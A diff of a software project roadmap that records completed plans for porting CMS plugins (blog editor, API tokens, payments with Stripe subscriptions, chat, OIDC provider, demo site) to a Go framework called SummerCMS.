- [x] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
|
||||
|
||||
### Phase 16.2: Plugin-provided field types and the Blog Editor formwidget (INSERTED)
|
||||
|
||||
**Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content — beyond the current markdown field or a plain rich editor — that edits imported HTML posts losslessly.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 16.1
|
||||
**Plans:** 7/7 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 16.2-01-PLAN.md — Framework (summercms.go): pact field-type API (human API checkpoint), cabana registry, boot option checks, Decode/Load/list in the save transaction, Decode notices as meta.notices (D-10 strip report), untouched skip, FieldWritesFromContext, field-types and field upload routes, OpenAPI and TS types, SPA PluginField/MLPluginField, global loader and notice display, dist, READMEs and docs
|
||||
- [x] 16.2-02-PLAN.md — Journal Blog Editor element (sm-journal-plugin assets/src to assets/dist): TipTap package check (human), untouched value contract, lossless schema and serializer, policy-safe links, uploads and YouTube embeds, the committed editor-output corpus, JS build, vitest, check-dist, embed
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 16.2-03-PLAN.md — Journal Go integration: blogeditor and mlblogeditor types, strip-and-report Decode per locale (SanitizeHTMLReport), D-07 Load, post and category fields (category 422 gate retired), content_html companion writes without goldmark, bluemonday policy extended for the editor's own output (corpus test), editor uploads through the extracted media storage
|
||||
- [x] 16.2-04-PLAN.md — vue-journal-layer: sanitize-html mirror extended for the editor's own output (corpus copy), expandEmbeds as the last step after sanitizeJournalHtml, SSR proof, tag v0.2.0 (human push gate), pin in vue-grzybyfunkcjonalne-app
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 16.2-05-PLAN.md — Release gate (human), summercms tag v0.1.18 (next free), journal and host bumps, UAT redeploy and on-server smoke, UAT acceptance: untouched re-saves byte-identical, editor edit with upload and embed, unsafe markup stripped and reported
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 16.2-06-PLAN.md — Unit tests: resave contract at every layer, strip-and-report and notices, policy cross-check corpus (both policies, identical copies), category strip, full Go and JS coverage, Postgres tests for a Docker host, phase gate scripts/check-phase16.2.sh, validation map
|
||||
|
||||
**Wave 5** *(gap closure, blocked on Wave 4 completion)*
|
||||
- [x] 16.2-07-PLAN.md — Gap closure G-16.2-1 and G-16.2-2: conformance cases for GET /field-types and the field upload route, Docker-free route inventory in the gate, TestJournalSVGEmbed fix; Journal post/category admin saves purge the host Nuxt route cache after commit through a token-protected vue-journal-layer route (browsers revalidate); full gate incl. postgres, release summercms v0.1.20 and vue-journal-layer v0.3.0, UAT redeploy, re-run of UAT Tests 3 and 2
|
||||
|
||||
### Phase 16.3: Backend admin personal API tokens with scopes (INSERTED)
|
||||
|
||||
**Goal:** Backend users can create personal API tokens with a scope they pick at creation time (for example Journal only, or system-wide; later read-only Payment Gateway), so an agent or integration can call the admin and plugin APIs as that backend user, with no more access than the token's scope and the user's own permissions allow. This is the successor of Apparatus `PersonalApiToken` (todo `backend-admin-api-tokens.md`, note `apparatus-dissolved-into-framework.md`) and reverses the Phase 15 D-15 rule that Journal writes accept only a backend JWT.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 9, Phase 10, Phase 15
|
||||
**Repos:** `summercms.go` (bouncer guard, token model and migration, scope registry, admin SPA panel, CLI); `sm-journal-plugin` to register its scope and accept tokens on its write routes; host applications only for the version bump
|
||||
**Constraints from explore (2026-10-10):**
|
||||
- Tokens keep the `g15_` prefix and are stored only as a hash. The rest of the format can change, and WinterCMS Apparatus tokens are not migrated.
|
||||
- The user picks the scope when creating a token. Plugins register their own scopes. Scope design (names, read-only variants, system-wide) is settled in discuss-phase.
|
||||
- Tokens are managed in two places, as in WinterCMS: a panel on the admin SPA backend user form (create, show once, revoke) and a `summer` CLI command.
|
||||
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. The `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT, and the request runs as the token's backend user.
|
||||
2. A request outside the token's scope is refused even when the user's role would allow it, and a token never grants more than its owner's permissions.
|
||||
3. A backend user can create, list and revoke their own tokens in the admin SPA. The plaintext token is shown once. A CLI command does the same for any backend user.
|
||||
4. The Journal API accepts a Journal-scoped token for writes, so an agent can manage blog posts as a backend author.
|
||||
5. Module READMEs and `docs/` cover the token API, scopes and CLI commands.
|
||||
6. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 4/4 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 16.3-01-PLAN.md — Framework (summercms.go): pact.HasTokenScopes, bouncer scope limit, Allows rewrite (scope before the superuser shortcut), backend_api_tokens migration, composite backend guard, interactive-only marker, route gates, published cabana.ResolveBackend, account token API with OpenAPI and inventories, admin:token:* CLI with party.Activated and summer delegates, READMEs and docs
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 16.3-02-PLAN.md — Admin SPA API tokens card on My account per UI-SPEC: list states, two-step create with show-once plaintext and copy, revoke, phrase keys, dist, docs
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 16.3-03-PLAN.md — Journal: journal and journal:read scopes, token auth through ResolveBackend with byte-identical bodies (reverses Phase 15 D-15), Journal README and the ResolveBackend docs example; release gate (human), summercms tag after v0.1.20, Journal go.mod and host gitlink bumps
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 16.3-04-PLAN.md — Unit tests: scope rules, route classification, guard, resolver, account API, CLI, migration, SPA backstops, Journal token matrix; Postgres tests for a Docker host; phase gate scripts/check-phase16.3.sh; validation map
|
||||
|
||||
### Phase 17: Blog companions
|
||||
|
||||
**Goal:** The sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
|
||||
**Goal:** As a blog site editor, I want to manage menus, FAQs and the sitemap in the SummerCMS admin through the shared sitemap, menu and FAQ plugins, so that they are no longer hardcoded in the Nuxt app.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 15, Phase 16
|
||||
**Repos:** `sm-sitemap-plugin`, `sm-menu-plugin`, `sm-faq-plugin` (new, under `git.golem15.com/golem15/`, see `.planning/notes/core-plugins-own-repos.md`); `summercms.go` for the menu-item type registry; `sm-journal-plugin` for an additive registration of its item types; `sm-grzybyfunkcjonalne-app` to move its FAQ and menu into the plugins
|
||||
@@ -980,10 +1082,26 @@ Plans:
|
||||
4. grzybyfunkcjonalne.pl reads its menu and FAQ from the plugins instead of app config.
|
||||
5. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
**Plans:** 6/6 plans complete
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run $gsd-plan-phase 17 to break down)
|
||||
**Wave 1**
|
||||
|
||||
- [x] 17-01-PLAN.md — Framework Go: pact menu-item types and the signpost registry, seaglass sanitizer, cabana repeater, dependent dropdown, richeditor, tree reorder and singleton form
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
|
||||
- [x] 17-02-PLAN.md — Admin SPA (RichEditorField on TipTap, RepeaterField, dependent dropdown, ReorderView, singleton form), dist, and the framework release tag
|
||||
- [x] 17-03-PLAN.md — Journal registers its five item types; sm-sitemap-plugin with PHP byte parity, admin and import commands
|
||||
- [x] 17-04-PLAN.md — sm-menu-plugin and sm-faq-plugin: admin, Winter imports, and the /_menu and /_faq read APIs
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
|
||||
- [x] 17-05-PLAN.md — grzybyfunkcjonalne.pl integration: repos, vue-menu-layer and vue-faq-layer, data copy, nginx, UAT redeploy
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
|
||||
- [x] 17-06-PLAN.md — Unit tests across all repositories, scripts/check-phase17.sh and the validation map
|
||||
|
||||
### Phase 18: Payment Gateway
|
||||
|
||||
@@ -1002,56 +1120,429 @@ Plans:
|
||||
4. A host test proves the order-create, Stripe-pay and order-paid flow that Horoskopia relies on.
|
||||
5. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
**Plans:** 8/8 plans complete
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run $gsd-plan-phase 18 to break down)
|
||||
**Wave 1**
|
||||
- [x] 18-01-PLAN.md — Framework (summercms.go): cabana `money` field and list column (D-07, scale-4 decimal strings), write-only `lagoon.Encrypted` secrets, richeditor and tabs on settings forms (D-13, F2-F4), danger record actions, preview Edit rule and the table kit (F5-F7), docs, OpenAPI, dist; framework tag with go-ahead
|
||||
|
||||
**Wave 2** *(blocked on 18-01)*
|
||||
- [x] 18-02-PLAN.md — sm-paymentgateway-plugin domain core: v2 row-shape gate, exact money, migrations, models, FSMs, Order/Payment services, operators (cash, manual, disabled) and registry, cart with legacy reader and extension registry, hashids, events and bridge, notification route, currencies (NBP, Fixer), `pg:*` commands, `paymentgateway:import-winter`
|
||||
|
||||
**Wave 3** *(blocked on 18-02)*
|
||||
- [x] 18-03-PLAN.md — sm-paymentgateway-plugin admin: Orders, Payments, Quotes, Quote items and Shippings in cabana YAML with partials, record and admin actions, the quote cart element, permissions, navigation and the full EN/PL phrasebook
|
||||
|
||||
**Wave 4** *(blocked on 18-03)*
|
||||
- [x] 18-04-PLAN.md — sm-paymentgateway-plugin settings and mail: PG and Mailer settings pages (D-08), 27 postcard templates PL/EN under the PHP codes, the four mailer groups after commit, mailer keys in the Winter import
|
||||
|
||||
**Wave 5** *(blocked on 18-04)*
|
||||
- [x] 18-05-PLAN.md — sm-pgstripe-plugin and the proof host: stripe-go v87 operator (Checkout and PaymentIntent, D-16/D-17), signature-only webhooks (D-14), browser return, refunds, encrypted settings with env fallback and `pgstripe:import-winter` (D-13), the D-03/D-04 host test with both pay paths
|
||||
|
||||
**Wave 6** *(blocked on 18-05)*
|
||||
- [x] 18-06-PLAN.md — Customer order API `/_paymentgateway/api/v1` (D-06 contract gate, authz, twelve endpoints) and the new vue-paymentgateway-layer (typed client, Pg* components, i18n, tests); repository creation, fixture request, pushes and layer tag v0.1.0 with go-ahead
|
||||
|
||||
**Wave 7** *(blocked on 18-01..18-06)*
|
||||
- [x] 18-07-PLAN.md — Unit tests last: the 74-case PHP map, money and FSM matrices, legacy fixtures, security evidence, framework and layer tests, `scripts/check-phase18.sh`, validated 18-VALIDATION.md, final push approval
|
||||
|
||||
**Wave 8** *(gap closure; blocked on 18-05 and 18-07)*
|
||||
- [x] 18-08-PLAN.md — Gap closure SC-2 (sm-pgstripe-plugin): `payment_intent.payment_failed` logged and non-terminal so a declined-then-retried payment is accepted; a paid signal on a payment that refuses Accept is logged at Error level (replays silent); expired and canceled stay no-ops by decision; decline-then-succeed proofs in both modes, Docker-free decline coverage, README event table; push with go-ahead, no tag
|
||||
|
||||
### Phase 18.1: Payment Gateway Subscriptions (INSERTED)
|
||||
|
||||
**Goal:** The generic core of `Golem15.PaymentGatewaySubscriptions` and pgstripe's subscription gateway and webhook run on SummerCMS. Horoskopia's subscription flow (plans, checkout, Stripe webhook, `golem15.pgsub.*` events, cancel and portal) works as it does on PHP.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 18
|
||||
**Repos:** `sm-paymentgatewaysubscriptions-plugin` (new, under `git.golem15.com/golem15/`); a subpackage of `sm-pgstripe-plugin`; `vue-paymentgateway-layer`; `summercms.go` only if a framework feature is missing
|
||||
**Port sources:** `Golem15.PaymentGatewaySubscriptions` at `ac3d73c` plus `5fb9dac`, and pgstripe `8b47457`, at `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/{paymentgatewaysubscriptions,pgstripe}`. Quotify's lead fees, featured placements and analytics are not ported here.
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. Subscription and SubscriptionPlan port on a squashed, idempotent v2.4.0 baseline that adopts existing PHP databases, with polymorphic subscribers registered at build time and a built-in `user` subscribable.
|
||||
2. The `SubscriptionGateway` contract (including `syncPlanToGateway`) has a Stripe implementation. `POST /webhook/stripe/subscriptions` and its legacy alias verify the event, enqueue a job and process it idempotently, and fire the six `golem15.pgsub.*` events.
|
||||
3. The Subscriptions and SubscriptionPlans admin screens, a Go service API, a headless customer API and subscription components in `vue-paymentgateway-layer` are delivered.
|
||||
4. A host test proves checkout, activation, `invoice.paid`, `past_due` with its grace period, cancel and duplicate-event idempotency against a Stripe fake.
|
||||
5. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 9/9 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 18.1-01-PLAN.md — Framework (summercms.go): core cabana `taglist` field and flat (Sortable) reorder (D-17), OpenAPI, dist, docs; framework tag with go-ahead
|
||||
- [x] 18.1-02-PLAN.md — sm-paymentgatewaysubscriptions-plugin core tracer (new repo): baseline gate (D-04/D-16), models and checks, contracts and build-time registries, six events, gateway-neutral Apply and claim, `user` subscribable, service API; remote and push with go-ahead
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 18.1-03-PLAN.md — sm-pgstripe-plugin: subscription secret columns and import target (D-18), plugin `golem15.pgstripesubscriptions` (webhook contract gate, gateway with plan sync from `d00f850`, both webhook URLs, claim-first River job, app-tag config), `TestHostSubscriptionFlow`
|
||||
- [x] 18.1-04-PLAN.md — sm-paymentgatewaysubscriptions-plugin admin (plans with taglist, flat reorder and sync actions; subscriptions list and preview), permissions, EN/PL, customer API after its contract gate (D-13)
|
||||
|
||||
**Wave 3** *(blocked on 18.1-04)*
|
||||
- [x] 18.1-05-PLAN.md — vue-paymentgateway-layer subscription client, composables and Pg components (D-14); tag `v0.2.0` with go-ahead
|
||||
|
||||
**Wave 4** *(blocked on 18.1-01..18.1-05)*
|
||||
- [x] 18.1-06-PLAN.md — Unit tests last across all repositories, PHP test map, `scripts/check-phase18.1.sh`, validated 18.1-VALIDATION.md, final push approval
|
||||
|
||||
**Gap closure wave 1** *(from 18.1-REVIEW.md; the user chose fix over PHP parity on 2026-10-14)*
|
||||
- [x] 18.1-07-PLAN.md — Webhook and sync state (pgsub, pgstripe): the job applies the subscription Stripe holds under a per-subscription advisory lock (CR-01, D-21 amended for ordering); a deletion before creation is retried; plan fallback by product and plan_code (WR-04); SyncSubscription writes only gateway-owned columns and refreshes the plan (WR-06)
|
||||
|
||||
**Gap closure wave 2** *(blocked on 18.1-07)*
|
||||
- [x] 18.1-08-PLAN.md — Checkout, admin sync and layer: no cross-currency price (CR-02), first-write-wins customer id and idempotency keys (WR-02), guarded checkout for any open subscription (WR-03), framework `pact.AdminBulkAction.Detached` and plan sync outside transactions (WR-01), buttons recover after Back (WR-07)
|
||||
|
||||
**Gap closure wave 3** *(blocked on 18.1-07, 18.1-08)*
|
||||
- [x] 18.1-09-PLAN.md — Unit tests last for the gap closure across four repositories, the extended gate, VALIDATION rows, layer 0.2.1, final push approval (framework v0.1.27, layer v0.2.1, optional first plugin tags)
|
||||
|
||||
### Phase 19: Chat and ChatChannels
|
||||
|
||||
**Goal:** `Golem15.Chat` and `Golem15.ChatChannels` run on SummerCMS as shared plugins, with realtime delivery through `lighthouse`, ready for the Wavepath port.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 11
|
||||
**Repos:** `sm-chat-plugin` and `sm-chatchannels-plugin` (new, under `git.golem15.com/golem15/`); `summercms.go` only if `lighthouse` is missing a feature
|
||||
**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`. Wavepath is the heaviest user. Check its copy (with `root_id` threading) against the starter's before choosing the source.
|
||||
**Requirements**: TBD
|
||||
**Repos:** `sm-chat-plugin` and `sm-chatchannels-plugin` (new, under `git.golem15.com/golem15/`); additive `sm-user-plugin` (`users.handle`, `user` lighthouse authorizer, lifecycle events; D-15, D-17); `summercms.go` only if `lighthouse`, `attach` or `beachcomber` lack a feature (none found)
|
||||
**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`. Port the Wavepath copy (with `root_id` threading and `thread_summaries`); decided 2026-10-11, see `.planning/notes/wavepath-framework-asks-division.md`.
|
||||
**Requirements**: TBD (plans cover SC-19-1..SC-19-4 and locked CONTEXT D-01..D-21)
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. The chat schema, models, adapters (context-agnostic groups), jobs, commands and routes port 1:1. ChatChannels plugs into chat through the same adapter contract.
|
||||
2. Realtime broadcasts and channel authorization go through `lighthouse` (publisher, `Authorizer` per namespace). No WebSockets plugin is ported.
|
||||
3. Public API payloads match PHP for the routes Wavepath's clients call.
|
||||
3. Golden tests show that the serializers (`Message.toApiArray` with attachments, thread summaries, channel, category, pref, pin and mention arrays) and every realtime event (name, channel and payload) match PHP output captured from Wavepath. Route-level parity of `/_wave` is checked at the Wavepath port.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
**Plans:** 7/7 plans complete
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run $gsd-plan-phase 19 to break down)
|
||||
**Wave 1**
|
||||
- [x] 19-01-PLAN.md — Chat core: new sm-chat-plugin repo, squashed baseline, models, context registry, ChatService, lighthouse Bind/Emit, thread-summary job
|
||||
|
||||
**Wave 2** *(blocked on Wave 1)*
|
||||
- [x] 19-02-PLAN.md — Chat generic API: /_chat/api/v1 (conversations, messages, DMs, replies, read, typing, mute, attachments)
|
||||
- [x] 19-03-PLAN.md — ChatChannels core: new sm-chatchannels-plugin repo, baseline, ChannelService, festival listeners, beachcomber search
|
||||
|
||||
**Wave 3** *(blocked on Wave 2)*
|
||||
- [x] 19-04-PLAN.md — ChatChannels generic API + sm-user-plugin handle, user authorizer, lifecycle events
|
||||
|
||||
**Wave 4** *(blocked on Wave 3)*
|
||||
- [x] 19-05-PLAN.md — Unit tests LAST: goldens, PHP method map (59 chat + 106 chatchannels), scripts/check-phase19.sh
|
||||
|
||||
**Wave 5** *(gap closure)*
|
||||
- [x] 19-06-PLAN.md — Participant-only canSend (CR-01) and created_by reassignment on user.Deleting (CR-02)
|
||||
|
||||
**Wave 6** *(gap closure, tests last)*
|
||||
- [x] 19-07-PLAN.md — TestTeammateDMWriteIDOR, TestDeletingCascade creator path, check-phase19.sh names
|
||||
|
||||
### Phase 19.1: Chat satellites
|
||||
|
||||
**Goal:** The remaining shared plugins that Wavepath's app plugin requires run on SummerCMS: chatbots, chatvideo, forum, herald and userfriends.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19
|
||||
**Repos:** one `sm-*-plugin` repo each, under `git.golem15.com/golem15/`
|
||||
**Repos:** one `sm-*-plugin` repo each, under `git.golem15.com/golem15/`; summercms.go for the Markdown module
|
||||
**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chatbots,chatvideo,forum,herald,userfriends}`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. Each plugin ports its schema, models, routes and events 1:1 against its PHP original.
|
||||
2. Herald (Web Push) has a decision note naming its VAPID/Web Push dependency before code lands. Chatbots is wired to `sm-golem-plugin` where the PHP original calls Golem.
|
||||
3. Userfriends is checked against fonoteka first, so there is one shared copy.
|
||||
2. Herald (Web Push) has a decision note naming webpush-go before code lands. Chatvideo has a LiveKit decision note and forum sanitizing has a bluemonday decision note, both before those plugins import the libraries.
|
||||
3. Already met: fonoteka's PHP userfriends tree equals Wavepath 182b514; fonoteka.go has no port and Wavepath's copy is the single source.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 6/6 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.1-01-PLAN.md — userfriends repo, baseline, friends HTTP tracer, group events, soft chat adapter, GDPR
|
||||
- [x] 19.1-03-PLAN.md — chatbots repo, bot_flags, slash-command dispatcher, /ping tracer (no AI-plugin import)
|
||||
- [x] 19.1-04-PLAN.md — webpush-go note, then herald subscriptions, PublicOnly send, rollback-sends-0 tracer
|
||||
|
||||
**Wave 2** *(D-17 gate for forum; chatvideo after chat)*
|
||||
- [x] 19.1-02-PLAN.md — forum repo after D-17 Render/Purify, DeleteContext, GFM/XSS HTTP tracer
|
||||
- [x] 19.1-05-PLAN.md — LiveKit v2 note, then chatvideo sessions, authorizer, generic reconciler
|
||||
|
||||
**Wave 3** *(blocked on Waves 1–2)*
|
||||
- [x] 19.1-06-PLAN.md — PHP method maps, goldens, scripts/check-phase19.1.sh
|
||||
|
||||
### Phase 19.3: Framework transport and infrastructure for WavePath (INSERTED)
|
||||
|
||||
**Goal:** The framework has the transport and infrastructure pieces a multi-client, multi-instance application needs: JWT cookie refresh across subdomains, credentialed CORS, a cache module with a Redis-backed rate-limit store, an S3 blob option, an OpenAPI page and Turnstile verification.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 11
|
||||
**Repos:** `summercms.go`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. `bouncer` refresh issues a new httpOnly `token` cookie whose `Domain`, `SameSite` and `Secure` attributes are configurable to match PHP, and blacklists the old JTI. The 60-minute TTL and 14-day refresh window are config keys, and credentialed CORS for a configured SPA origin is available as middleware.
|
||||
2. A cache module ships with memory and Redis drivers, and `surf` gains a Redis-backed `Store`, so rate limits hold across instances. The Redis client dependency has a decision note before code lands.
|
||||
3. An S3 blob driver can be selected through framework config, so the application does not import it. `/api-docs` and `/api-docs.json` can be served. Turnstile verification middleware is available.
|
||||
4. The touched modules' READMEs and `docs/` pages are updated. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 6/6 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.3-01-PLAN.md — Decision note, then the `cooler` module: Redis-backed rate-limit store wired by serve, memory (otter) and Redis cache drivers (wave 1)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.3-02-PLAN.md — bouncer cookie transport and Turnstile, surf CORS hardening and `cors:<profile>`, opt-in /api-docs (wave 2)
|
||||
- [x] 19.3-03-PLAN.md — summer.yaml `build.tags` and the `summercms_s3` S3 driver, disk-name extension fix, `storage.uploads.public_url` (wave 2)
|
||||
- [x] 19.3-04-PLAN.md — Site-cache purge in cooler, `pact.ReorderAfterSave`, Journal/menu/FAQ adoption, shared Nuxt purge route in three layers, push checkpoint, app pointer bumps (wave 2)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.3-05-PLAN.md — Unit tests for all new code, `scripts/check-phase19.3.sh`, miniredis legitimacy check, release checkpoint (wave 3)
|
||||
|
||||
**Wave 4** *(gap closure)*
|
||||
- [x] 19.3-06-PLAN.md — Gap closure: `cors:<profile>` applied outermost (CR-01), review warnings WR-01..WR-09 (queued purges, no redirects, layer `allowProxied`, credentialed CORS origin rules, production cookie Secure, api-docs CSP, protected uploads vs `public_url`, Turnstile boot warning, zero `CookieConfig`), unit tests, release checkpoint v0.1.28 (wave 4)
|
||||
|
||||
### Phase 19.4: OIDC provider on wristband (INSERTED)
|
||||
|
||||
**Goal:** `wristband` is a full OpenID Connect provider that existing relying parties can switch to without noticing: discovery, JWKS with asymmetric signing and key rotation, `id_token`, userinfo, resumable authorization with account switching, a consent store and pairwise subjects. The existing issuer, signing keys and client secrets carry over.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 8, Phase 19.3
|
||||
**Repos:** `summercms.go`, `sm-oauthserver-plugin` (new)
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. A decision note settles whether the full OIDC provider extends the hand-written `wristband` server or puts zitadel/oidc v3 behind it, and names the JOSE/JWT dependency, before code lands.
|
||||
2. `/.well-known/openid-configuration`, the JWKS endpoint, userinfo and `id_token` in the token response work with RS256 or ES256 keys. Rotation publishes the old and the new key together.
|
||||
3. The authorization flow supports resuming a request, switching account, the consent list and revocation, and pairwise and public subjects. A scheduled prune job removes expired codes, tokens and requests.
|
||||
4. An existing issuer, its signing keys and client secrets can be imported so that relying parties keep working. The phase gets a security review.
|
||||
5. The `wristband` README and `docs/` pages are updated. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 4/4 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.4-01-PLAN.md — Decision note (golang-jwt v5, zitadel rejected), then the wristband OIDC flavour: discovery, JWKS, resumable authorize with consent and switch account, token with id_token, userinfo, pairwise subjects, kinds, opt-in refresh; neutral Resource default; README and docs (wave 1)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.4-02-PLAN.md — New repo sm-oauthserver-plugin: migrations, GORM stores for OIDC and MCP, DB key ring, PHP-path routes and throttles, branded consent and error pages, authorizations JSON, user cascade, additive sm-user-plugin exports, go-oidc interop test (wave 2)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.4-03-PLAN.md — Winter import with original kids, cabana Clients and Branding screens, rotate-keys, prune and schedule, tide parity against the PHP plugin, security review (wave 3)
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 19.4-04-PLAN.md — Unit tests: PHP test map port plus Go-only cases, scripts/check-phase19.4.sh (wave 4)
|
||||
|
||||
### Phase 19.4.1: Early public demo on demo.summercms.io (INSERTED)
|
||||
|
||||
**Goal:** Clients can be shown a live demo at `demo.summercms.io` now, before the chat family lands: `sm-demo-app` with today's 16 shared plugins runs on rome, its public Nuxt site shows the plugins working through prepared demo accounts, and the admin is reachable at a public URL (`/smbackend`) behind a login, with credentials given out by Golem15 on request.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19.4
|
||||
**Repos:** `sm-demo-app` (new git remote) and its `vue-demo-app`; frontend templates reused from `sm-bm-app`'s frontend; the shared plugin repos and `summercms.go` only for release tags and gaps the demo exposes
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. `sm-demo-app` is pushed to git.golem15.com, and its `go.mod` requires tagged versions of the framework and every shared plugin, so a release build compiles without the local `go.work`.
|
||||
2. `https://demo.summercms.io` serves the Nuxt site and the Go backend from rome (nginx, supervisor, Postgres, TLS), with `DEPLOY.md` covering build, upload, release and rollback. `/backend` is refused by nginx, and the site carries a "want to see the backend? contact Golem15" call to action.
|
||||
3. Visitors register themselves (Turnstile and rate limits, no credentials shown on the site); a banner on every page says the data may be reset and payments use Stripe test mode. A configurable reset job that wipes and reseeds through `demo:seed` exists and ships disabled.
|
||||
4. The homepage is a guided tour (journal, presentations, quizzes, payments, FAQ, accounts) in the summercms.io look, in English and Polish. The full bm presentation system (public, speaker, phone remote, own decks) runs on its own Centrifugo, and a roadmap deck generated from ROADMAP.md shows the features with links and the OIDC provider as screenshots. Quizzes keep logged-in attempts.
|
||||
5. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 5/5 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.4.1-01-PLAN.md — Roadmap and sales deck for the 2026-10-21 meeting: demo:seed generates EN/PL roadmap decks from ROADMAP.md (client names filtered) plus features, PHP migration with OIDC screenshots, the pxpx slide and the MCP future; presented locally in bm's viewer with a PDF fallback (wave 1)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.4.1-02-PLAN.md — Release and live tracer: module-mode go.mod of plugin tags, build/pins/smoke/deploy checks, private repos, banner and backend call to action, first deploy of demo.summercms.io on rome (wave 2)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.4.1-03-PLAN.md — Accounts behind Turnstile (sm-user-plugin opt-in), guided tour in the summercms.io look, EN/PL, journal author fields and translations, contact form via feedback, disabled reset job, reload-on-deploy banner, tags and redeploy (wave 3)
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 19.4.1-04-PLAN.md — bm presentation system ported to Nuxt (public, speaker, phone remote, own decks), the demo's own Centrifugo, quizzes for anonymous and logged-in visitors, redeploy (wave 4)
|
||||
|
||||
**Wave 5** *(blocked on Wave 4 completion)*
|
||||
- [x] 19.4.1-05-PLAN.md — Unit tests (Go harness, bm lib tests under vitest, plugin tests), check-all gate and live verification, docs, todos and g15office (wave 5)
|
||||
|
||||
### Phase 19.5: Social login in sm-user-plugin (INSERTED)
|
||||
|
||||
**Goal:** `sm-user-plugin` signs users in with Google and Facebook through `/oauth/{provider}` and its callback, with a provider registry open to more providers, the SPA one-time-code handoff and the pending-registration branch, matching the PHP user plugin's contract.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19.3
|
||||
**Repos:** `sm-sociallogin-plugin` (new), `sm-user-plugin`, `summercms.go` (`cooler.Cache.Pull`), `sm-demo-app`, `sm-bm-app` (with its `sm-bm-plugin` submodule); `fonoteka.go` builds and passes at the new `sm-user-plugin` pin (CONTEXT D-01, D-21)
|
||||
**Requirements**: TBD
